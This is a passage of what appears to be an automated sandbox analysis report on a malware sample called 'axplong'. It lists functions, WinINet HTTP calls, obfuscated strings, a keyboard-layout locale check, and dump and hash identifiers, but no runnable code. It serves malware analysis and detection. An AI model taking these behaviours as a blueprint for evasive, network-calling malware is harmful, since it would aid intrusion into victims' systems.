Part of subcall function 006B7870: __Mtx_destroy_in_situ.LIBCPMT ref: 006B7971

Part of subcall function 006ABD60: InternetOpenW.WININET(006F8D70,00000000,00000000,00000000,00000000), ref: 006ABDED
Part of subcall function 006ABD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 006ABE11
Part of subcall function 006ABD60: HttpOpenRequestA.WININET(?,00000000), ref: 006ABE5B

std::_Xinvalid_argument.LIBCPMT ref: 006B4EA2

Strings

JB6, xrefs: 006B53F5
aqB6, xrefs: 006B54DB
MJF+, xrefs: 006B47BD, 006B48EC, 006B4ADC, 006B4C0B
9526, xrefs: 006B531D
-p, xrefs: 006B4F3A
mP=, xrefs: 006B6383, 006B6652
MJB+, xrefs: 006B4776, 006B47ED, 006B4A95, 006B4B0C
fed3aa, xrefs: 006B5489
Fz==, xrefs: 006B369E, 006B4D2D
V0N6, xrefs: 006B537A
246122658369, xrefs: 006B4F4D, 006B4F8F, 006B4F99, 006B54F4
5F6, xrefs: 006B5497
KFT0PL==, xrefs: 006B54B9
96B6, xrefs: 006B5470
8ZF6, xrefs: 006B5502
V0x6, xrefs: 006B541E
Vp 6, xrefs: 006B5447
aZT6, xrefs: 006B53CC
9KN6, xrefs: 006B5351
stoi argument out of range, xrefs: 006B4269, 006B4EAC
6F9fr==, xrefs: 006B4712
WJP6, xrefs: 006B53A3

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range$-p
API String ID: 2414744145-741609160
Opcode ID: 43cecadd845cdc378fb50b7270f078032d9fca0bf43d0fe33dbdedf9dff0298b
Instruction ID: 95397138c0509205f5b454465be6c17bc3c5b88e24b1e2b8d8d24a1d04ada0e0
Opcode Fuzzy Hash: 43cecadd845cdc378fb50b7270f078032d9fca0bf43d0fe33dbdedf9dff0298b
Instruction Fuzzy Hash: B523F3B1A001589BEB19DB28CD897DDBB779B81304F5481DCE009AB2C6EB399FC48F55

Function 006A5DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000422, xrefs: 006A5FD9
00000423, xrefs: 006A600A
0000043f, xrefs: 006A603B
Keyboard Layout\Preload, xrefs: 006A5F64
00000419, xrefs: 006A5FA8

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 866f9671e303e57425a6b540378b7dd8103258a20d588aa890688551c34f45ca
Instruction ID: 8ee4eda84714444a4204f14bac3a34fdd9a291478101c6213516a5aa98929375
Opcode Fuzzy Hash: 866f9671e303e57425a6b540378b7dd8103258a20d588aa890688551c34f45ca
Instruction Fuzzy Hash: 29E17C71900218AFEB24EBA4CC89BEDB7BAEF05304F5442D9E509A7291DB749FC48F51

Function 006A7D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 006A7EA3

Strings

JmpxQb==, xrefs: 006A81B2
JmpxRL==, xrefs: 006A8062
JmpyPb==, xrefs: 006A810A

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JmpxQb==$JmpxRL==$JmpyPb==
API String ID: 1721193555-2057465332
Opcode ID: 09ebf98a8df59726804081c8beb613d7fa7f87ac420afadfafd5d6c90c39a71a
Instruction ID: 6575b1b74ec69792de74408c8396b3b2c23112a1f41bc8b1be5cd842e287f567
Opcode Fuzzy Hash: 09ebf98a8df59726804081c8beb613d7fa7f87ac420afadfafd5d6c90c39a71a
Instruction Fuzzy Hash: CCD1A3B1E00604DBDB14FB68CC5A3AD7667AB82320F54429CE4166B3D2DB395F818BD6

Function 006D6E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 006D6E23
GetFileInformationByHandle.KERNELBASE(?,?), ref: 006D6E7D
__dosmaperr.LIBCMT ref: 006D6F12

Part of subcall function 006D7177: __dosmaperr.LIBCMT ref: 006D71AC

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 735de863680251b4a8978039cc9afe461c09cd0f0e6c8079c91a0b1a8cc29abf
Instruction ID: f6a46f7c542bfe0b6d3f5ac89e3fc8616597cb7b2a78fcd39c8a8dcc3c65e070
Opcode Fuzzy Hash: 735de863680251b4a8978039cc9afe461c09cd0f0e6c8079c91a0b1a8cc29abf
Instruction Fuzzy Hash: 58414D76D00644ABCB24EFB5EC459ABB7FAEF88300B14452EF456D3750EB309905CB65

Function 006DD4F4 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hpGm, xrefs: 006DD4FB

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: hpGm
API String ID: 0-119319687
Opcode ID: b8f32fc9b6b472bf10cf89feec7a041e73dd5cd12a0a8c10f77bf9ad07d6f0d1
Instruction ID: 4cc209cd7b0f0f6cab954624f3f75ef805c55481f4d6fe4397e5a33b0bd3e9af
Opcode Fuzzy Hash: b8f32fc9b6b472bf10cf89feec7a041e73dd5cd12a0a8c10f77bf9ad07d6f0d1
Instruction Fuzzy Hash: 56610372D002149FDF25FFA8E8856EDBBB3AF55314F24811BE448AB390D6309C01CBA5

Function 006A82B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 006A8454

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: a166eb1c114a74b41ea33f785f1f5a1fa22bdc7b9f41bb596b923f984c37ceb4
Instruction ID: 205db82eb276414871eddd3b98c2cca1a8feca3e310a0ef61637d30328594756
Opcode Fuzzy Hash: a166eb1c114a74b41ea33f785f1f5a1fa22bdc7b9f41bb596b923f984c37ceb4
Instruction Fuzzy Hash: 635116B1D102089FDB24FB68CD497DDB7B6DB46310F5042A9E805A7381EF349E808FA5

Function 006D6C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f24b96d6cf7bf910730ea47641348f2e80a5203dd72387c3f5c22cfe6da9d77
Instruction ID: 6f5a5afd3bf305b79c2bd3163184ca3ae582e273c179ab415606f167e1e27ddb
Opcode Fuzzy Hash: 9f24b96d6cf7bf910730ea47641348f2e80a5203dd72387c3f5c22cfe6da9d77
Instruction Fuzzy Hash: 2A21F831E052087AEB11BB64EC42B9E376B9F41378F204316F9242B3D1DBB05E0596A6

Function 006D6F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 006D6FB3

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 3d8f88e0c0c57dd0599b377cc70bca44e4d0545c2f575564acbf5c2955b0a11b
Instruction ID: 801d23c7b3c1b4c7e224921c194d2a52413384d0d025fdfca1ed8df32510e721
Opcode Fuzzy Hash: 3d8f88e0c0c57dd0599b377cc70bca44e4d0545c2f575564acbf5c2955b0a11b
Instruction Fuzzy Hash: 9511CBB290060CAACB10DF95D945EDEB7BEAF48310F505266F511E6281EB30EB458B61

Function 006DD6EF Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,006DA5ED,?,006D74AE,?,00000000,?), ref: 006DD730

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 73a7fdcf63fc64005faa0f2e1bddb378b228ad0cdf0bb4b14b7ce93b1cc7751b
Instruction ID: 7d9a8adbdbaafa6e3a06f44ee14614c36c0e04416a63092a707c8e61ed5b5665
Opcode Fuzzy Hash: 73a7fdcf63fc64005faa0f2e1bddb378b228ad0cdf0bb4b14b7ce93b1cc7751b
Instruction Fuzzy Hash: FFF02E31D4612466DB313A229C01BAB3B9B9F817B0B198197FC14EB381CE21DC0043F5

Function 006B6AE0 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE ref: 006B6B65

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: bc173597f2bbb16582a69d9df61d167f88813830b6fb691ea53c0e959cc10f07
Instruction ID: df78f8e64dfdac9675f6f110a7318be8a1c434c0e27d7547be099ff7defb477e
Opcode Fuzzy Hash: bc173597f2bbb16582a69d9df61d167f88813830b6fb691ea53c0e959cc10f07
Instruction Fuzzy Hash: AAF0A9B1E00614EBC700BB68DD1775D7B76A747760F90035CE811672D2EA3859018BE6

Function 052E0D36 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3249409115.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52e0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8feb7c84365b1fad81342d1aac53a088ecaa3b9fecf4f358f2b58ee20b6697d
Instruction ID: 41acc59b291e61a9a388b2de9b8a19ea510e25a0d958f7fbfb3ea51d9673ad9f
Opcode Fuzzy Hash: a8feb7c84365b1fad81342d1aac53a088ecaa3b9fecf4f358f2b58ee20b6697d
Instruction Fuzzy Hash: FB01E1EB0BC014BE5142C58A271C9F67A2FFEE77303B8852AF907D550192E4464B5230

Function 052E0D49 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3249409115.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52e0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f951f06e240c825e20d5cca95bc142fb9a986bac2dce13872a09fe5d3b98d88
Instruction ID: 3c2ddbd173a252d6c2d09e1ba2a9adf01db43a7099f05990fda755a95e2f13e8
Opcode Fuzzy Hash: 0f951f06e240c825e20d5cca95bc142fb9a986bac2dce13872a09fe5d3b98d88
Instruction Fuzzy Hash: 110104EB07C108BE5142D4962B1CAF33A2FFEE67307F88526F903D550192E4464B4270

Function 052E0D66 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3249409115.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52e0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 494042b64e226637b2dbee7a4a6cbd12906e4c721d4fa61af937d26243142e05
Instruction ID: bdd1b8a7e6c727c340b2f883a13d81f889c92cd71b827913825dc12735de3a7b
Opcode Fuzzy Hash: 494042b64e226637b2dbee7a4a6cbd12906e4c721d4fa61af937d26243142e05
Instruction Fuzzy Hash: 5111069B47C114AD5642C5A55A188F63F2FFEA76303B88866F843CA512E2D44A5B5270

Function 052E0DAB Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3249409115.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52e0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5c68b10a04ab20ae8ff8fb2abae26ba728ea0f79c9b2aa7962195a4d92be3ad
Instruction ID: f27bad1382c32ada7e1df4220f309c6c2daa16a651b130d64ee689c9c667d1a3
Opcode Fuzzy Hash: d5c68b10a04ab20ae8ff8fb2abae26ba728ea0f79c9b2aa7962195a4d92be3ad
Instruction Fuzzy Hash: 1C0124AB4BC104EE5241C9A92B1C9FA362FFFA33303B8843AF403D5401D2E94A4B4230

Function 052E0D92 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3249409115.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52e0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d46e2b466a4b8834d0f658f4365cdc7324057d17f071008b7da9ede7ae3c7b7
Instruction ID: 075f875d7615f316f6c1c134924888a7d3b4ea2a6c4d85194646f59dcb4fd1a7
Opcode Fuzzy Hash: 7d46e2b466a4b8834d0f658f4365cdc7324057d17f071008b7da9ede7ae3c7b7
Instruction Fuzzy Hash: BFF0F4AB0BD004FD1242C5A92B1C9F77A2FFEE67303B88576F403D5511E2D9464B5130

Function 052E0DD4 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3249409115.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52e0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a799edb6eaeb67137cde1ef6514327ac6338ffa17632e4960bc70fe35969bb1
Instruction ID: f8980b918f931c3601cb54c960fb033fc3cbd078115bb8a6ed2476a09ea2fcb0
Opcode Fuzzy Hash: 0a799edb6eaeb67137cde1ef6514327ac6338ffa17632e4960bc70fe35969bb1
Instruction Fuzzy Hash: E4F0E2AB0BC004FD6146CAA6262C9B7762FFEA57303FCCA76F443C4402D2E9425B4530

Function 052E0E24 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3249409115.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_52e0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ddbcb6a1ae3d6d1c99ba494357f3a6437690844a0e97a75132fef548338ae6c
Instruction ID: 4e4c46546f185b8ea191865b84e6a448abf7b2e25beed926e4a6aa968ae8c274
Opcode Fuzzy Hash: 9ddbcb6a1ae3d6d1c99ba494357f3a6437690844a0e97a75132fef548338ae6c
Instruction Fuzzy Hash: 60F02EA387E140DD878385A110CD1B53BA3BF2B52039C09F6D082DA113D1DE435B8231

Function 052E0DED Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

